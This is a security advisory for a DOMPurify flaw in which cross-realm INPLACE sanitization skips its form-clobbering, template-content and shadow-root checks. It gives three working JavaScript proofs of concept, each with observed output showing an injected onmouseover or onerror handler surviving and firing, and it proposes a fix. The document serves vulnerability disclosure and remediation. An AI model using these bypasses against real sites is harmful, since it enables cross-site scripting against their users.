CVE-2026-49458: DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

Cross-realm INPLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { INPLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected

- DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created <iframe srcdoc>) and then calls DOMPurify.sanitize(foreignNode, { INPLACE: true }) against a sanitizer instance bound to a different realm

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected - INPLACE calls where the input node was created in the same realm as the DOMPurify instance

Vulnerability details

The unifying defect is that isClobbered, sanitizeShadowDOM's template-content recursion, and sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

[A] — isClobbered gates on element instanceof HTMLFormElement

src/purify.ts:1120-1140:

ts const isClobbered = function (element: Element): boolean { return ( element instanceof HTMLFormElement && // [A] realm-bound — false for any // iframe-realm <form> element (typeof element.nodeName !== 'string' || typeof element.textContent !== 'string' || typeof element.removeChild !== 'function' || !(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound typeof element.removeAttribute !== 'function' || typeof element.setAttribute !== 'function' || typeof element.namespaceURI !== 'string' || typeof element.insertBefore !== 'function' || typeof element.hasChildNodes !== 'function' || !(element.childNodes && typeof element.childNodes.length === 'number')) ); };

A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.

[B] — sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment

src/purify.ts:1660-1662:

ts while ((shadowNode = shadowIterator.nextNode())) { ... sanitizeElements(shadowNode); sanitizeAttributes(shadowNode); / Deep shadow DOM detected / if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound sanitizeShadowDOM(shadowNode.content); } }

The same check exists in the main iterator at :1861-1862:

ts if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound sanitizeShadowDOM(currentNode.content); }

For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.

[C] — sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment

src/purify.ts:1702-1712:

ts if (nodeType === NODETYPE.element) { const sr = getShadowRoot ? getShadowRoot(root) : (root as Element).shadowRoot; if (sr instanceof DocumentFragment) { // [C] realm-bound sanitizeAttachedShadowRoots(sr); sanitizeShadowDOM(sr); } }

For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.

The mismatch

DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).

Proof of concept

Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { INPLACE: true }) and verifies that handler execution succeeds on subsequent activation.

PoC 1 — cross-realm form clobbering survives

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); div.id = 'dirty'; const form = idoc.createElement('form'); form.setAttribute('onmouseover', 'window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1'); const inp = idoc.createElement('input'); inp.setAttribute('name', 'attributes'); // clobbers form.attributes form.appendChild(inp); div.appendChild(form);

DOMPurify.sanitize(div, { INPLACE: true });

window.dompurifyxss = 0; document.body.appendChild(div); form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); // window.dompurifyxss === 1 }; document.body.appendChild(iframe);

Observed (Chromium 148, DOMPurify 3.4.5, HEAD 89da34e):

json { "sanitizeError": null, "before": { "formIsMainRealmHTMLFormElement": false, "formIsForeignRealmHTMLFormElement": true, "formAttributesType": "[object HTMLInputElement]", "formAttributesEqualsInput": true }, "after": { "html": "<div id=\"dirty\"><form onmouseover=\"window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1\"><input></form></div>", "formOnmouseover": "window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1", "xssExecuted": 1 } }

PoC 2 — cross-realm <template> content is never walked

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); const tpl = idoc.createElement('template'); tpl.innerHTML = '<img src="x" onerror=' + '"window.parent.dompurifytemplatexss=(window.parent.dompurifytemplatexss||0)+1">'; div.appendChild(tpl);

DOMPurify.sanitize(div, { INPLACE: true });

window.dompurifytemplatexss = 0; const clone = idoc.importNode(tpl.content, true); document.body.appendChild(clone); // fires onerror }; document.body.appendChild(iframe);

Observed:

json { "before": { "templateIsMainRealmHTMLTemplateElement": false, "contentIsMainRealmDocumentFragment": false, "contentIsForeignRealmDocumentFragment": true }, "after": { "templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.dompurifytemplatexss=(window.parent.dompurifytemplatexss||0)+1\">", "xssExecuted": 1 } }

PoC 3 — cross-realm attached shadow root is never walked

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const host = idoc.createElement('div'); host.attachShadow({ mode: 'open' }).innerHTML = '<img src=x onerror="window.parent.dompurifyshadowxss=(window.parent.dompurifyshadowxss||0)+1"><b>safe text</b>';

DOMPurify.sanitize(host, { INPLACE: true });

window.dompurifyshadowxss = 0; document.body.appendChild(host); // shadow activates, onerror fires }; document.body.appendChild(iframe);

Observed:

json { "before": { "hostIsMainRealmElement": false, "shadowRootIsMainRealmDocumentFragment": false, "shadowRootIsForeignRealmDocumentFragment": true }, "after": { "shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.dompurifyshadowxss=(window.parent.dompurifyshadowxss||0)+1\"><b>safe text</b>", "xssExecuted": 1 } }

All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.

Impact

Direct

Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with INPLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:

- Form root attributes — onmouseover, onfocus, onclick, action="javascript:...", formaction=, target=, id= (DOM-clobbering target), and the full attribute-allowlist set, because sanitizeAttributes walks a clobbered .attributes instead of the real NamedNodeMap. - <template> content — <img onerror>, <svg><script>, <iframe srcdoc>, etc., because the inert template tree is never recursed into. - Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.

XSS triggers when the consuming code: - Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus). - Clones template content with importNode / cloneNode(true) / node.appendChild(template.content) into the live DOM. - Appends the shadow host to the live document (the shadow root becomes active and <img onerror> fires synchronously during the insertion microtask).

Indirect / second-order

- DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm <template> parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped. - Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization. - Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS / <base> / form submission, then sanitize via the main page's DOMPurify. - Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.

The known prior INPLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.

Root cause

Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for INPLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."

Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:

ts element instanceof HTMLFormElement // src/purify.ts:1122 element.attributes instanceof NamedNodeMap // src/purify.ts:1126 sr instanceof DocumentFragment // src/purify.ts:1706 currentNode.content instanceof DocumentFragment // src/purify.ts:1861 shadowNode.content instanceof DocumentFragment // src/purify.ts:1660 (approx) currentNode instanceof Element // src/purify.ts:1296 (callsite of checkValidNamespace)

Suggested fix

Use realm-independent shape checks consistently for any decision made on a node accepted from INPLACE:

1. HTMLFormElement detection — compare via the realm-independent getNodeName cached prototype getter introduced for the recent shadow-root traversal hardening:

ts const isClobbered = function (element: Element): boolean { const nn = getNodeName ? getNodeName(element) : element.nodeName; if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false; // ... rest of the typeof / cached-getter shape checks ... };

2. DocumentFragment detection — nodeType === NODETYPE.documentFragment (i.e., 11), not instanceof DocumentFragment. The check is already realm-independent because Node.nodeType is a numeric constant. Same change for the <template>-content and attached-shadow-root recursion sites.

3. NamedNodeMap detection — read element.attributes via the cached Element.prototype.attributes getter (introduce getAttributes = lookupGetter(ElementPrototype, 'attributes')) and verify nodeType === 11-style shape (length is a number, indexed [i] returns objects with .name/.value strings). Do not rely on instanceof NamedNodeMap.

4. Element detection at :1296 — replace currentNode instanceof Element with a shape check (getNodeType(currentNode) === NODETYPE.element).

The invariant the fix should encode: once INPLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.